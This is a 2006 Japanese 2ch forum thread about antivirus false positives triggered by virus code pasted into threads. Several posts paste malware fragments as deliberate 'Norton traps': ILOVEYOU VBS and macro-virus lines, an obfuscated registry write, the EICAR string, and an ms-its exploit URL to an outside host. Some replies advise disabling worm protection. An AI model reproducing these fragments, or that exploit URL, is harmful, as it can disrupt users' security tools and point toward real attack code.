113 名前:愛新覚羅 ◆WjkbiI..A2 投稿日:2006/06/29(木) 21:34:04 ID:???
>>111
ウイルシかな
- 611 :ひよこ名無しさん:2006/06/30(金) 22:56:15 ID:2Lq/lYYu
- テスト
- 612 :ひよこ名無しさん:2006/07/01(土) 00:07:11 ID:Dt6nkhA2
- http://game10.2ch.net/test/read.cgi/arc/1151603946/16
コレって書き込んだ本人がウイルスに感染しているって事でしょうか?
- 613 :ひよこ名無しさん:2006/07/01(土) 00:08:55 ID:???
- >>612
ノートン先生を誤反応させるためにわざと貼ってるんだよ
- 614 :612:2006/07/01(土) 00:39:41 ID:Dt6nkhA2
- ただ、これ書いた人がカードゲームのトレードスレに
自分のメルアド出してブログバレしてます
- 615 :ひよこ名無しさん:2006/07/01(土) 23:18:07 ID:???
- 複雑な自爆では?
- 616 :ひよこ名無しさん:2006/07/02(日) 19:36:03 ID:ytfN9V0/
- ノートン2006でAutoprotectの設定で、ログのフォルダを除外したいのですが、
それらしい項目が分かりません。
Norton AntiVirusオプションの項目ではないのでしょうか?
- 617 :ひよこ名無しさん:2006/07/02(日) 20:00:00 ID:ytfN9V0/
- 事故解決しました。
- 618 :ひよこ名無しさん:2006/07/03(月) 19:55:32 ID:pfnK+d5L
- 専ブラ(Jane)での書き込みの妨害も先生の仕業?
更新かけて解決するのであれば(期限切れ)、
してやらんでもないのだが・・・。
- 619 :ひよこ名無しさん:2006/07/03(月) 22:30:42 ID:???
- >>618
> 更新かけて解決するのであれば(期限切れ)、
それはないな。FW(が入っているのであれば)一時的に切ってみるしか
- 620 :618:2006/07/03(月) 23:15:21 ID:pfnK+d5L
- >>619
いや、プラウザからなら書き込めるんですよ。
ノートン有効→一部の板の閲覧不可(IE、専ブラ共に)
無効→共に閲覧は可能 専ブラでの書き込みが不可。
ってわけでこの板だけは、IEからしか書き込めないんです・・・。
まぁ、通信を許可すれば解決なんでしょうが・・・。
いろいろやってみます。 どもでした。
- 621 :ひよこ名無しさん:2006/07/04(火) 02:40:17 ID:???
- まったくの初心者ですが
ノートンインターネットセキュリティー2006での誤反応対策を教えてください
既出でしたらアンカーでもいいのでお願いします
- 622 :ひよこ名無しさん:2006/07/04(火) 08:28:52 ID:???
- >>621
>>1->>620を読め
- 623 :ひよこ名無しさん:2006/07/04(火) 10:11:31 ID:???
- 「まったくの初心者」
だからどうした?このスレを100回読んで知識増やせ。
- 624 :ひよこ名無しさん:2006/07/04(火) 20:16:10 ID:Bwi55Fwo
- スレを開いたら突然ウィルスに感染したんですがurlを直接踏まなくても
感染するウィルスはあるんですか?
- 625 :ひよこ名無しさん:2006/07/05(水) 11:14:56 ID:???
- >>624
>>1->>620を読め
- 626 :ひよこ名無しさん:2006/07/05(水) 17:10:28 ID:xPsQC9iJ
- , --- 、_
/ミミミヾヾヽ、_
∠ヾヾヾヾヾヾjj┴彡ニヽ
/ , -ー‐'"´´´ ヾ.三ヽ
,' / ヾ三ヽ
j | / }ミ i
| | / /ミ !
} | r、 l ゙iミ __」
|]ムヽ、_ __∠二、__,ィ|/ ィ }
|  ̄`ミl==r'´ / |lぅ lj 私が原田ウィルス作者ですが何か?
「!ヽ、_×___j ヽ、× -' レ'r'/
`! j ヽ j_ノ
', ヽァ_ '┘ ,i
ヽ ___'...__ i ハ__
ヽ ゙二二 ` ,' // 八
ヽ /'´ / ヽ
|ヽ、__, '´ / / \
- 627 :ひよこ名無しさん:2006/07/07(金) 03:17:23 ID:???
- >>577
遅レスだけど一応。
ttp://mickey.mirv.net/2chnis.html
↑みて最新のアドレス設定しる
- 628 :ひよこ名無しさん:2006/07/15(土) 01:31:41 ID:668g3rrq
- こんなPCはネットにつなぐな! 3日間放置した無防備PCの結末は?
http://arena.nikkeibp.co.jp/col/20050510/112145/
以下すべて日本語対応で無料。
ブラウザ:Firefox http://www.mozilla-japan.org/products/firefox/
メーラー:Thunderbird http://www.mozilla-japan.org/products/thunderbird/
上記2種の拡張(http://beau.g-com.ne.jp/mon-extension.html)
スパイウェア対策:http://www.geocities.jp/primarystage/spyware.html
ウィルス対策:avast! http://www.forest.impress.co.jp/lib/inet/security/antivirus/avast.html
適当なルーター:BUFFALO BBR-4HG http://netspeed.studio-radish.com/netspeeddata/throughput_review/buffalo_bbr4hg.html
無料のウイルス対策ソフトなどのセキュリティソフト一覧
http://www.geocities.co.jp/SiliconValley-Cupertino/2010/security.html
セキュリティ板
http://pc8.2ch.net/sec/
- 629 :ひよこ名無しさん:2006/07/23(日) 19:35:23 ID:XNQAeCHC
- <body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1))
- 630 :ひよこ名無しさん:2006/07/24(月) 00:49:37 ID:???
- できれば既出のものじゃなくて
新しいの一行づつ張ってほしいなぁ。
- 631 :ひよこ名無しさん:2006/07/29(土) 23:32:33 ID:???
- 2CH自体、5月からはじめました。
ノートンがなんだかよくわかりませんが、ある掲示板で症状を書き込んだところ
ノートン先生かといわれました。
症状としては、かんじなどを変換すると候補がでますが、するとその時点でIEが
強制終了してしまいます。
2CHはIEでみています。最初から。
これ、直るのでしょうか?
パソコン使えないとネットで就職活動もできず困っています。
どうかよろしくお願いします。
- 632 :ひよこ名無しさん:2006/07/29(土) 23:59:23 ID:???
- このスレとは関係ないような・・・
- 633 :ひよこ名無しさん:2006/07/30(日) 00:06:37 ID:???
- >>631
ですけど、感染したときにLOVE-LETTERなんとかというものが画面に表示されました。
そのときなんだかわからなかったので、続行のボタンを押しました。
漢字を変換するとIEが落ちてしまうので、最初に出てきた感じで該当するものが泣ければ
そのままにしています。
なんとかならないでしょうか。
- 634 :ひよこ名無しさん:2006/07/30(日) 00:40:34 ID:???
- ここはウイルス対策ソフトの「誤反応」のスレです。
ウイルスにほんとに感染してる件ならスレ違い
- 635 :ひよこ名無しさん:2006/07/30(日) 03:56:39 ID:???
- >>633
よく分からないならクリーンインストールしろ。
それも出来ないなら就職浪人決定。
- 636 :ひよこ名無しさん:2006/07/30(日) 19:55:34 ID:???
- クリーンインストールってなに?
- 637 :ひよこ名無しさん:2006/07/30(日) 20:12:01 ID:???
- おまえの頭を入れ替えること
- 638 :ひよこ名無しさん:2006/07/31(月) 00:58:59 ID:???
- つまらん。0点。>>637
- 639 :ひよこ名無しさん:2006/07/31(月) 01:59:16 ID:???
- 女王様の椅子取りゲーム
- 640 :ひよこ名無しさん:2006/08/03(木) 17:37:02 ID:oF+rx1Q5
- >>636
ぐぐっておいてやった。参考にしる。
ttp://www.google.co.jp/search?hl=ja&q=%E3%82%AF%E3%82%A4%E3%83%BC%E3%83%B3%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%AB&lr=
ttp://www.google.co.jp/search?hl=ja&q=%E3%82%AF%E3%83%AA%E3%83%BC%E3%83%B3%E3%82%A4%E3%82%B9%E3%83%88%E3%83%BC%E3%83%AB&lr=
ttp://www.google.co.jp/search?hl=ja&q=%E3%82%AF%E3%83%AA%E3%83%BC%E3%83%B3%E3%82%A2%E3%83%B3%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%AB&lr=
ttp://www.google.co.jp/search?hl=ja&q=%E3%82%AF%E3%83%AA%E3%83%BC%E3%83%B3%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%82%A5%E3%83%BC%E3%83%AB&lr=
ttp://www.google.co.jp/search?hl=ja&q=%E3%82%AF%E3%83%AA%E3%83%BC%E3%83%A0%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%AB&lr=
どれも似たような内容なので、好きなのを選べばいいべさ
- 641 :ひよこ名無しさん:2006/08/10(木) 13:48:08 ID:???
- ウイルスコードの誤反応ではありませんが、
ノートンを切らないとPCQA板に入れなくなってしまいました。(進入検知が誤反応)
この場合はどうすればいいでしょうか?
- 642 :ひよこ名無しさん:2006/08/10(木) 15:08:46 ID:???
- >>641
ノートンを切ればいいと思います。
- 643 :ひよこ名無しさん:2006/08/10(木) 16:07:02 ID:???
- >>641
2chを見ようとすると「侵入を検出して遮断しました。」というダイアログが表示されて
2chを見れなくなってしまう問題のまとめページ。
http://mickey.mirv.net/2chnis.html
ノートン誤作動対策本部
http://qb5.2ch.net/operate/kako/1133/11331/1133161720.html
- 644 :ひよこ名無しさん:2006/08/10(木) 18:08:02 ID:???
- <<642<<643d
- 645 :ひよこ名無しさん:2006/08/12(土) 15:29:22 ID:???
- 質問お願いします。
ノートン側のオプションから除外指定するとき、
*.dbx
*.nch
というのが除外の欄に書いてあったのですが、これは最初からそうなのでしょうか?
例えばノートン自体が攻撃されて書き換えられる可能性とかありますか?
- 646 :ひよこ名無しさん:2006/08/12(土) 17:20:14 ID:???
- >>645
デフォルトでそうなってるから心配すんな
- 647 :645:2006/08/13(日) 06:13:39 ID:???
- >>646
ありがとございます。
- 648 :ひよこ名無しさん:2006/08/14(月) 01:05:42 ID:???
- マカフィーでもコード貼られたログファイル消されて見れないんだけどどうすればいい?
- 649 :ひよこ名無しさん:2006/08/15(火) 01:23:16 ID:???
- >>648
>>17
http://pc8.2ch.net/test/read.cgi/sec/1153128180/28-29n
http://pc8.2ch.net/test/read.cgi/sec/1153128180/298-305n
- 650 :ひよこ名無しさん:2006/08/16(水) 18:54:56 ID:???
- でも、ノートン自体は反応しても実際にウイルスではないんですよね?
- 651 :ひよこ名無しさん:2006/08/16(水) 22:35:50 ID:???
- だからスレタイにも誤反応って書いてあるだろ
- 652 :ひよこ名無しさん:2006/08/17(木) 02:53:34 ID:???
- 確認しただけだろ。
頭固てえな。
- 653 :ひよこ名無しさん:2006/08/20(日) 16:12:51 ID:???
- >643
この対応ってNISだけですよね。
自分ノートンアンチウイルスの方なんだが、やっぱ誤作動する。
これはどう解除すればいいんだ?
- 654 :ひよこ名無しさん:2006/08/20(日) 21:24:08 ID:???
- >>653
>>643末尾に挙げられている過去ログでレス番727あたりから読んでみるといいかも
- 655 :ひよこ名無しさん:2006/08/22(火) 03:27:14 ID:NKrNf7Jc
- http://mickey.mirv.net/2chnis.htmlを見て
>タスクトレイのNISアイコンを左クリック>「Norton Internet Securityを開く」
をやってみたのですが左クリックをしても何も出てきません。
右クリックなら「Norton Anti Virusを開く」「Auto Protectを無効にする」
「Norton Antiオプション」の三つのメニューが出るんですが、
どうすればNorton Internet Securityを開くことができるんでしょうか。
- 656 :ひよこ名無しさん:2006/08/22(火) 06:49:12 ID:???
- >>655
もしかしてNAVしかインストールしてないとか?
http://mickey.mirv.net/2chnis.html には説明ないけど
NAVでも誤反応する。>>654参照
- 657 :ひよこ名無しさん:2006/08/24(木) 21:19:27 ID:???
- ■2ちゃんねる 初心者が安心して質問できるスレッドガイダンス (ノートントラップ全般への対策法)
ttp://ansitu.xrea.jp/guidance/?Trap#NortonTrap
■2ch NIS問題まとめページ
ttp://mickey.mirv.net/2chnis.html
■特定のドライブ、フォルダ、ファイルをウイルススキャンの対象から除外する方法
http://service1.symantec.com/SUPPORT/INTER/navjapanesekb.nsf/7c3ff4677729271685256c470046ed2e/d9265b84ded9587488256b0400811ff7
・上記設定でまだ反応がある場合は、「専ブラプログラムフォルダ丸ごと」も同様に除外に追加してみて下さい。
・2ちゃんねる専用ブラウザの読み込み禁止単語機能に、
「v bs」、「O nload」、「o nload」、「L OVE-LETTER」、「M acro」、「n osuch」、「E ICAR-STANDARD-ANTIVIRUS-TEST」などの
単語を登録しておきましょう。(※ 単語の途中一箇所スペース空けてるんで詰めて登録して下さい)
・各専用ブラウザのスレッド情報も参照して下さい。
・NIS(NPF)のファイアーウォールを誤作動させるコード文字列に関して → 応急対策を参照
・タスクトレイのノートンアイコンをクリック → NISを無効にする (5分) →
NIS無効中に専用ブラウザでスレッドをリロード取得 → NISを有効に戻す (※この方法でもNPFトラップ回避可能)
■いきいき Wiki - ノートンインターネットセキュリティに関するFAQ
http://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8#faq00
- 658 :ひよこ名無しさん:2006/08/29(火) 22:27:40 ID:???
- 727 名前: 動け動けウゴウゴ2ちゃんねる 投稿日: 2006/03/26(日) 16:24:59 ID:pwaEyKGo0
>>726
参考までに・・・ただし、自己責任で
ノートンアンチウイルス2006 Ver.1
http://pc8.2ch.net/test/read.cgi/sec/1129452372/996
> まず、オプション→インターネット→インターネットワーム防止→除外の設定で、
> HTTP MSIE JavaScript OnLoad Rte CodeExecのチェックを外す。
> そのあと、オプション→インターネット→インターネットワーム防止→
> AutoBlockルール→現在、AutoBlockで遮断しているコンピュータで、
> 遮断解除してok。で、ok。
- 659 :ひよこ名無しさん:2006/09/01(金) 17:54:57 ID:O8GwKufV
- てす
- 660 :ひよこ名無しさん:2006/09/01(金) 19:19:06 ID:???
- と
- 661 :ひよこ名無しさん:2006/09/05(火) 22:30:31 ID:???
- #include <mmlite.h>
#include <stdlib.h>
#include <tchar.h>
UINT __cdecl _ttoh(const _TCHAR *String)
{
UINT Value = 0, Digit;
_TCHAR c;
while ((c = *String++) != _EOS) {
if (c >= '0' && c <= '9') Digit = (UINT) (c - '0');
else if (c >= 'a' && c <= 'f') Digit = (UINT) (c - 'a') + 10;
else if (c >= 'A' && c <= 'F') Digit = (UINT) (c - 'A') + 10;
else break;
Value = (Value << 4) + Digit;
}
return Value;
}
- 662 :ひよこ名無しさん:2006/09/10(日) 21:32:48 ID:???
-
>>1
>>2chブラウザのログ保存フォルダを「除外」に設定。
これがどういうことかもうすこし詳しく説明してください。
2chブラウザのログ保存フォルダとは、どこにあるのでしょうか。
除外に認定とは、何の除外に認定すればいいのでしょうか。
これだけでは全く意味がわかりません。
- 663 :<body onload=window()>:2006/09/10(日) 22:26:11 ID:???
- [ 自主制作映画 ] [ ジャッカル ] 第 0012 話 ジャッカルがあるさ ( Rev 0001 ) ( 低画質 Ver ).avi 7,177,218 07818b50961750fbaef7124384ac2e70
[ 自主制作映画 ] [ ジャッカル ] 第 0037 話 クッキング・オブ・ジャッカル II ( Rev 0004 ) ( 低画質 Ver ).avi 9,789,864 22b1bd0222641a2ca3cdeb2176170e1b
!(映画アニメ) ドラえもん のび太と雲の王国.avi 361,081,856 65f122004a3545aac6ae276a9765bb3c
## ひぐらしのなく頃に - 暇潰し編 - 其の壱 「ヒナミザワ」.avi 147,861,504 d85b4c07df470706aae626d5c8579571
##(ドラマ)恋の時間 第07話[704×396 DivX6.xxHe-3].avi 378,019,316 53f9c9cba3b31e05d934d3e2bb0b8f3d
#289 ダウンタウンのガキの使いやあらへんで 第289回 [1995.09.03] 今日我々は豚を食べる!!+トーク.avi 143,990,332 7616f03362cb813a456f5844a5bdb956
#DMS Night24.com アナルセックス サンドイッチ あや.avi 724,464,291 751e423a7fd2f543cbb3e624048051e0
- 664 :ひよこ名無しさん:2006/09/10(日) 22:30:08 ID:???
- >>662
> 2chブラウザのログ保存フォルダとは、どこにあるのでしょうか。
使っている2ch専用ブラウザによって違います。
専用ブラウザを使っていない人には関係ありません。
> 除外に認定とは、何の除外に認定すればいいのでしょうか。
ウイルス対策ソフトの検知対象から除外するように設定します。
やり方はウイルス対策ソフトによって違います。
除外設定(「認定」ではなく「設定」)ができないウイルス対策ソフトもあります。
> これだけでは全く意味がわかりません。
以上の説明で全く意味がわからないなら、当面は気にする必要ありません。
実際にその現象に遭遇すれば自然とわかるようになるでしょう。
- 665 :662:2006/09/11(月) 19:21:09 ID:???
- >>664
ミミ ヽヽヽヽリリノノノノ
ミ ,,、,、,、,、,、,、,、、 彡
r、r.r 、l i''" i彡
r |_,|_,|_,|| 」 /' '\ |
|_,|_,|_,|/⌒/ -・=-, 、-・=-│
|_,|_,|_人そ(^i ノ( 、_, )ヽ | ・・・で?
| ) ヽノ |. ノ !! |
| `".`´ ノ ノ ̄i |
人 入_ノ´ ヽニニノ ノ\
/ \_/\\ /|\\
/ \ ト ───イ/ ヽヽ
- 666 :ひよこ名無しさん:2006/09/13(水) 01:41:38 ID:???
- ■2ちゃんねる 初心者が安心して質問できるスレッドガイダンス (ノートントラップ全般への対策法)
ttp://ansitu.xrea.jp/guidance/?Trap#NortonTrap
■2ch NIS問題まとめページ
ttp://mickey.mirv.net/2chnis.html
■特定のドライブ、フォルダ、ファイルをウイルススキャンの対象から除外する方法
http://service1.symantec.com/SUPPORT/INTER/navjapanesekb.nsf/7c3ff4677729271685256c470046ed2e/d9265b84ded9587488256b0400811ff7
・上記設定でまだ反応がある場合は、「専ブラプログラムフォルダ丸ごと」も同様に除外に追加してみて下さい。
・2ちゃんねる専用ブラウザの読み込み禁止単語機能に、
「v bs」、「O nload」、「o nload」、「=w indow」、「L OVE-LETTER」、「M acro」、「n osuch」、「E ICAR-STANDARD-ANTIVIRUS-TEST」
などの 単語を登録しておきましょう。(※ 単語の途中一箇所スペース空けてるんで詰めて登録して下さい)
・各専用ブラウザのスレッド情報も参照して下さい。
・NIS(NPF)のファイアーウォールを誤作動させるコード文字列に関して → 応急対策を参照
・タスクトレイのノートンアイコンをクリック → NISを無効にする (5分) →
NIS無効中に専用ブラウザでスレッドをリロード取得 → NISを有効に戻す (※この方法でもNPFトラップ回避可能)
■いきいき Wiki - ノートンインターネットセキュリティに関するFAQ
http://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8#faq00
- 667 :ひよこ名無しさん:2006/09/13(水) 18:00:04 ID:???
- Norton Anti Virus 2003です。
>専用ブラウザのログ保存フォルダを「除外」に設定。
オプション→Norton Anti Virus→除外→新規→項目→フォルダが開いているアイコン→フォルダの参照から2chブラウザのログ保存フォルダを選んでクリック→項目のOKをクリック。
>◆2004/2003はNorton Anti Virusのオプションで手動スキャンとAuto-Protectでそれぞれ除外の指定をしてください。
手動で探しても、ウイルスソースが貼られたログは自動的に破棄されてしまっているので.datを選択することができません。idxだけ保存されていますが除外しても変わりなしです。
どうすれば見れるようになりますか?
- 668 :ひよこ名無しさん:2006/09/14(木) 18:29:19 ID:???
- >>667
自分が引用してる文章をよく読めばわかるだろうが
datやidxなどの「ファイル」を除外するのではない
「フォルダ」を正しく除外していればログが自動的に破棄されることはない
- 669 :ひよこ名無しさん:2006/09/14(木) 20:59:51 ID:???
- >>668
言われてやっと気付きました。ありがとうございます
- 670 :ひよこ名無しさん:2006/09/14(木) 22:06:23 ID:???
- Norton Anti Virus 2004を使用しています。
手動スキャンとAuto-ProtectでLogフォルダの除外と
ttp://mickey.mirv.net/2chnis.html ←の対処はしてありますが、
たまーに一部のウイルスソースに引っかかってしまいます。
そうなると、しばらくインターネットセキュリティを無効ししないとならなくなります。
例えば最近だと、下記のウイルスソースです。
両方なのか、片方なのか分かりませんがウイルス警告がでます。
対処方法はありますか?
- 671 :670:2006/09/14(木) 22:06:56 ID:???
- <body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
- 672 :670:2006/09/14(木) 22:07:27 ID:???
- G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
- 673 :670:2006/09/14(木) 22:08:40 ID:???
- といった感じのものです。
671か672かは分かりませんがノートンが反応してしまいます。
- 674 :670:2006/09/14(木) 22:20:18 ID:???
- 今やってみたのですが671と672ではノートンは反応しませんでした。
すいません、他のやつだったのかな?
- 675 :ひよこ名無しさん:2006/09/14(木) 23:24:15 ID:???
- >>673-674
貼るな
他人の迷惑も考えろ。
- 676 :<body onload=window()>:2006/09/14(木) 23:57:48 ID:???
- G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
- 677 :670:2006/09/15(金) 09:02:47 ID:???
- >>675
スマン
>>676だと何にも反応しないんだよな
反応するときはなんなのかな?
- 678 :ひよこ名無しさん:2006/09/15(金) 12:41:38 ID:???
- >>677
下から二行目
- 679 :ひよこ名無しさん:2006/09/16(土) 04:32:07 ID:uZM1h+BC
- Norton Anti Virus2003でWinXP/IE6。Live2chです。
ノートン入れたら〜のWikiを見て、
Norton AntiVirusのオプション→システム>Auto-Protect>除外→C:\Program Files\Live2ch\logフォルダを追加。
手動スキャンにも同じようにログを除外しました。
ですが専ブラを再起動させてみてもログを取得し直して見ても、このスレや他にウイルスが貼られているスレでもウイルス警告が出てきます。
間違っていないと思うのですがどうしてでしょうか…。教えてください。
- 680 :ひよこ名無しさん:2006/09/16(土) 05:02:15 ID:???
- >>679
>>643 辺りの件は対策しましたか?
NAVでも誤反応します。
- 681 :679:2006/09/16(土) 05:06:27 ID:???
- すみません解決です
除外指定するのはlog保存フォルダじゃなくインストールフォルダ自体のことだったんですね
>>680
ありがとうございます
参考になりました
- 682 :ひよこ名無しさん:2006/09/17(日) 06:36:54 ID:???
- 携帯厨よけの誤反応作ってくれ
スレが携帯からのガキだらけで機能しなくなっちまった
- 683 :ひよこ名無しさん:2006/09/26(火) 11:45:24 ID:???
- 2007では対応したの?
- 684 :ひよこ名無しさん:2006/09/30(土) 14:45:45 ID:???
- test
- 685 :ひよこ名無しさん:2006/10/01(日) 12:02:45 ID:???
- >658タソのをしても反応するし2ちゃんねるのIPアドレスを除外
しても設定しても反応するし>17タソのプログラムは問題があるとかで
途中で動かなくなるしでハラ立ってきたんで
ワーム防止を黙らせたった(ノ`□´)ノ≡≡≡≡≡≡≡≡┻━┻
- 686 :ひよこ名無しさん:2006/10/02(月) 08:02:14 ID:q3VL2ORv
- 管理者がサクージョ&規制すればいい。
専ブラ使ってる漏れとしては迷惑。
- 687 :ひよこ名無しさん:2006/10/04(水) 04:23:42 ID:???
- >>686
誤反応するような不便なソフトは
淘汰されて滅びたほうがいい、という考え方らすい
- 688 :ひよこ名無しさん:2006/10/04(水) 06:54:44 ID:???
- test
- 689 :cen ◆Am9xOgNMYE :2006/10/05(木) 00:10:23 ID:???
- >>17のソフトですが、バージョンが2.00になりました。
http://www.geocities.jp/cen_hp/program3.html
>>685
どういう状況か教えてもらえますか?
- 690 :ひよこ名無しさん:2006/10/05(木) 15:00:29 ID:Qin047IX
- ノートン使えねえから今日からバスターにしましたぁ
- 691 :ひよこ名無しさん:2006/10/05(木) 16:59:52 ID:???
- >>689
GUIになったのはいいけど.NET Frameworkが必要なければもっとよかったなぁ。
PCがしょぼいからできるだけ余計なものは入れたくないんだよね。
ウチでは古いバージョンの方を使わせてもらうことにします。
- 692 :cen ◆Am9xOgNMYE :2006/10/06(金) 01:17:30 ID:???
- >>691
使っていただいてありがとうです。
.NET Frameworkを使わない前のバージョンの方が起動
が早いですね。
まあ、Visual C#で割と楽にGUIが作れるいうのが理由です^^;
- 693 :キーワード:2006/10/06(金) 02:48:50 ID:???
- <body onload=window()>
eip = eip + unescape("%u7030%u4300")
p + w * 10 <br> End Sub <br>
LOVE-LETTER-FOR-YOU
dirsystem&"\MSKernel32.vbs
ms-its:mhtml:file://C:
its:mhtml:file://c:\
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines
kak.hta';ken=wd+'ST
Set A4 = A1.CreateTextFile(A1.BuildPath
ToInfect.CodeModule.InsertLines BGN
- 694 :ひよこ名無しさん:2006/10/06(金) 03:37:15 ID:???
- >>693 キーワード NGワード
- 695 :ひよこ名無しさん:2006/10/06(金) 18:12:11 ID:???
- ウィルスコードの適当な文字をNGワードに設定しとくとかじゃダメなの?
スレッドをダウンロードするからNGワードとか無意味?
- 696 :ひよこ名無しさん:2006/10/06(金) 20:46:48 ID:???
- 大空寺系には反応しなくなったけど、
OnLoad Rte CodeExec
なんとかならんかなぁ
- 697 :ひよこ名無しさん:2006/10/07(土) 12:12:01 ID:???
- あほ
- 698 :ひよこ名無しさん:2006/10/07(土) 23:00:36 ID:???
- ほす
- 699 :ひよこ名無しさん:2006/10/08(日) 00:17:50 ID:???
- いい加減ウザくなったしどうせ更新時期だったからノートン先生からバスターに切り換えてみた。
確かに反応はしなくなったけど、何らかの不都合ってあるのかな。
- 700 :ひよこ名無しさん:2006/10/08(日) 01:30:54 ID:???
- どなたかマカフィ誤作動の解除方法教えてください。
- 701 :ひよこ名無しさん:2006/10/12(木) 00:38:44 ID:???
- ノートン先生がもうすぐ更新なんですが、
なんか、うっとうしいから今度は別のメーカーにしたいのですが・・・お勧め教えてください。
ちなみに、なぜか、Cドライブの空きは8%ぐらいしかない
とんでもないPCです。
- 702 :経営学部の学生 ◆2H3Xipoq6Y :2006/10/12(木) 04:12:22 ID:???
- 個人的にはジャストシステムから11月に発売のカスペルスキー6かな?
いまライフボートから出てるカスペルスキー5を買っても6が出たらアップデートできるみたいだし
- 703 :ひよこ名無しさん:2006/10/13(金) 04:39:42 ID:???
- Norton Anti Virus2006を使っています。
>>658の操作中、「現在、AutoBlockで遮断しているコンピュータ」
のところに何もアドレス等が載ってないのですが
どうすればこの先誤反応解除の操作を進められるんでしょうか。
- 704 :ひよこ名無しさん:2006/10/13(金) 09:16:01 ID:???
- >>703
専用ブラウザのフォルダごと全て除外にしたら俺は止まったよ
同じNorton Anti Virus2006だけど
- 705 :ひよこ名無しさん:2006/10/13(金) 09:28:32 ID:???
- >>703
なにも載ってないってことは
丁度そのときに遮断されてないのだから解除する必要はない。
前半の設定ができていれば問題ないのでは?
>>704
その設定で止まるやつと
インターネットワームの誤反応とは別物だよ。
- 706 :ひよこ名無しさん:2006/10/13(金) 12:10:09 ID:yCzxUbTg
- ノートンがVBS.Freelink.Bというウイルスに反応したのですが、
ウイルス警告のウインドウが消しても消しても出てきます。
どうすればいいのでしょうか?
- 707 :ひよこ名無しさん:2006/10/13(金) 15:07:54 ID:cPKv8TOO
- NIS2006
winSP sp2
2chスレ読み込んだら「コンピュータを攻撃するうんぬん」ってメッセージが出てその板が一定期間
アクセス不可になる現象。回避策ある?
- 708 :ひよこ名無しさん:2006/10/13(金) 15:15:38 ID:???
- ちなみにhttp://mickey.mirv.net/2chnis.htmlにはNIS2006の対象砲は書いてない、、><
- 709 :ひよこ名無しさん:2006/10/13(金) 17:48:31 ID:???
- ane doe style2.41 WinXPsp2使用
Norton Internet Security2004 Norton AntiVirus2004使用
Jane doe style2.41のログを除外しているのですが
ウイルスコードが貼られてる板を開くと
「エラー」と表示され、ログを取得できません
それで、いつもNorton Internet Security2004を無効にして
その板を開くと、思ったとおりウイルスコードが張られています
この状態になると、何分間か、その板を開く事が出来なくなります
ログの除外をしているのに、なぜこうなるのでしょうか?
- 710 :ひよこ名無しさん:2006/10/13(金) 19:22:08 ID:???
- >>709
設定を間違ってる
- 711 :ひよこ名無しさん:2006/10/13(金) 19:57:21 ID:???
- >>710
C\Program Files\Jane Style\Logs\2ch
なんですが、間違ってるのでしょうか?
